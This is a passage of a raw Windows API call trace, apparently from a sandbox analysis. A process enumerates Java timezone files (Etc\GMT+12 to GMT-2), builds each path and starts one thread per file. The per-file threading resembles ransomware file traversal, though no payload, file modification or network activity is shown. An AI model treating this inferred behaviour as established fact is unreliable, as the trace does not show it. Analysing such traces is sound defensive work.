lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+12", cAlternateFileName="GMT_12~1")) returned 1 [0173.340] wcscmp (_String1="GMT+12", _String2=".") returned 1 [0173.340] wcscmp (_String1="GMT+12", _String2="..") returned 1 [0173.340] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f11a8 [0173.340] wcscpy (in: _Dest=0x8f11a8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.340] wcscat (in: _Dest=0x8f11a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.340] wcscat (in: _Dest=0x8f11a8, _Source="GMT+12" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+12") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+12" [0173.340] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f11a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x898 [0173.341] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+2", cAlternateFileName="GMT_2~1")) returned 1 [0173.341] wcscmp (_String1="GMT+2", _String2=".") returned 1 [0173.341] wcscmp (_String1="GMT+2", _String2="..") returned 1 [0173.341] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1448 [0173.341] wcscpy (in: _Dest=0x8f1448, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.341] wcscat (in: _Dest=0x8f1448, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.341] wcscat (in: _Dest=0x8f1448, _Source="GMT+2" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+2") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+2" [0173.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f0 [0173.342] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+3", cAlternateFileName="GMT_3~1")) returned 1 [0173.342] wcscmp (_String1="GMT+3", _String2=".") returned 1 [0173.342] wcscmp (_String1="GMT+3", _String2="..") returned 1 [0173.342] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f19f8 [0173.342] wcscpy (in: _Dest=0x8f19f8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.342] wcscat (in: _Dest=0x8f19f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.342] wcscat (in: _Dest=0x8f19f8, _Source="GMT+3" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+3") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+3" [0173.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f19f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f4 [0173.346] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+4", cAlternateFileName="GMT_4~1")) returned 1 [0173.346] wcscmp (_String1="GMT+4", _String2=".") returned 1 [0173.346] wcscmp (_String1="GMT+4", _String2="..") returned 1 [0173.346] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1838 [0173.346] wcscpy (in: _Dest=0x8f1838, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.346] wcscat (in: _Dest=0x8f1838, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.346] wcscat (in: _Dest=0x8f1838, _Source="GMT+4" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+4") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+4" [0173.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8 [0173.347] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+5", cAlternateFileName="GMT_5~1")) returned 1 [0173.348] wcscmp (_String1="GMT+5", _String2=".") returned 1 [0173.348] wcscmp (_String1="GMT+5", _String2="..") returned 1 [0173.348] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f0f78 [0173.348] wcscpy (in: _Dest=0x8f0f78, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.348] wcscat (in: _Dest=0x8f0f78, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.348] wcscat (in: _Dest=0x8f0f78, _Source="GMT+5" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+5") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+5" [0173.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f0f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8fc [0173.354] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+6", cAlternateFileName="GMT_6~1")) returned 1 [0173.354] wcscmp (_String1="GMT+6", _String2=".") returned 1 [0173.354] wcscmp (_String1="GMT+6", _String2="..") returned 1 [0173.354] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1b48 [0173.354] wcscpy (in: _Dest=0x8f1b48, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.354] wcscat (in: _Dest=0x8f1b48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.354] wcscat (in: _Dest=0x8f1b48, _Source="GMT+6" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+6") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+6" [0173.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec [0173.355] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+7", cAlternateFileName="GMT_7~1")) returned 1 [0173.355] wcscmp (_String1="GMT+7", _String2=".") returned 1 [0173.355] wcscmp (_String1="GMT+7", _String2="..") returned 1 [0173.355] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1598 [0173.355] wcscpy (in: _Dest=0x8f1598, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.355] wcscat (in: _Dest=0x8f1598, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.356] wcscat (in: _Dest=0x8f1598, _Source="GMT+7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+7") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+7" [0173.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0173.357] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+8", cAlternateFileName="GMT_8~1")) returned 1 [0173.357] wcscmp (_String1="GMT+8", _String2=".") returned 1 [0173.357] wcscmp (_String1="GMT+8", _String2="..") returned 1 [0173.357] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1218 [0173.357] wcscpy (in: _Dest=0x8f1218, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.357] wcscat (in: _Dest=0x8f1218, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.357] wcscat (in: _Dest=0x8f1218, _Source="GMT+8" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+8") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+8" [0173.357] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0173.358] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+9", cAlternateFileName="GMT_9~1")) returned 1 [0173.358] wcscmp (_String1="GMT+9", _String2=".") returned 1 [0173.358] wcscmp (_String1="GMT+9", _String2="..") returned 1 [0173.358] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f17c8 [0173.358] wcscpy (in: _Dest=0x8f17c8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.358] wcscat (in: _Dest=0x8f17c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.358] wcscat (in: _Dest=0x8f17c8, _Source="GMT+9" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+9") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+9" [0173.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f17c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc [0173.359] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-1", cAlternateFileName="")) returned 1 [0173.359] wcscmp (_String1="GMT-1", _String2=".") returned 1 [0173.359] wcscmp (_String1="GMT-1", _String2="..") returned 1 [0173.360] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f0d48 [0173.360] wcscpy (in: _Dest=0x8f0d48, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.360] wcscat (in: _Dest=0x8f0d48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.360] wcscat (in: _Dest=0x8f0d48, _Source="GMT-1" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-1") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-1" [0173.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f0d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc [0173.361] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-10", cAlternateFileName="")) returned 1 [0173.361] wcscmp (_String1="GMT-10", _String2=".") returned 1 [0173.361] wcscmp (_String1="GMT-10", _String2="..") returned 1 [0173.361] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f13d8 [0173.361] wcscpy (in: _Dest=0x8f13d8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.362] wcscat (in: _Dest=0x8f13d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.362] wcscat (in: _Dest=0x8f13d8, _Source="GMT-10" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-10") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-10" [0173.362] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f13d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700 [0173.363] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-11", cAlternateFileName="")) returned 1 [0173.363] wcscmp (_String1="GMT-11", _String2=".") returned 1 [0173.363] wcscmp (_String1="GMT-11", _String2="..") returned 1 [0173.363] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f1368 [0173.363] wcscpy (in: _Dest=0x8f1368, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.363] wcscat (in: _Dest=0x8f1368, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.363] wcscat (in: _Dest=0x8f1368, _Source="GMT-11" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-11") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-11" [0173.363] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1368, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708 [0173.364] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-12", cAlternateFileName="")) returned 1 [0173.364] wcscmp (_String1="GMT-12", _String2=".") returned 1 [0173.364] wcscmp (_String1="GMT-12", _String2="..") returned 1 [0173.364] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f1ad8 [0173.364] wcscpy (in: _Dest=0x8f1ad8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.364] wcscat (in: _Dest=0x8f1ad8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.364] wcscat (in: _Dest=0x8f1ad8, _Source="GMT-12" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-12") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-12" [0173.364] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1ad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0 [0173.365] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-13", cAlternateFileName="")) returned 1 [0173.365] wcscmp (_String1="GMT-13", _String2=".") returned 1 [0173.365] wcscmp (_String1="GMT-13", _String2="..") returned 1 [0173.366] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f14b8 [0173.366] wcscpy (in: _Dest=0x8f14b8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.366] wcscat (in: _Dest=0x8f14b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.366] wcscat (in: _Dest=0x8f14b8, _Source="GMT-13" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-13") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-13" [0173.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f14b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4 [0173.367] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-14", cAlternateFileName="")) returned 1 [0173.367] wcscmp (_String1="GMT-14", _String2=".") returned 1 [0173.367] wcscmp (_String1="GMT-14", _String2="..") returned 1 [0173.367] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f0db8 [0173.367] wcscpy (in: _Dest=0x8f0db8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.367] wcscat (in: _Dest=0x8f0db8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.367] wcscat (in: _Dest=0x8f0db8, _Source="GMT-14" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-14") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-14" [0173.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f0db8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e8 [0173.368] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-2", cAlternateFileName="")) returned 1 [0173.368] wcscmp (_String1="GMT-2", _String2=".") returned 1 [0173.368] wcscmp (_String1="GMT-2", _String2="..") returned 1 [0173.368] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1138 [0173.368] wcscpy (in: _Dest=0x8f1138, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.368] wcscat (in: _Dest=0x8f1138, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.368] wcscat (in: _Dest=0x8f1138, _Source="GMT-2" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-2") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-2" [0173.368] CreateThread 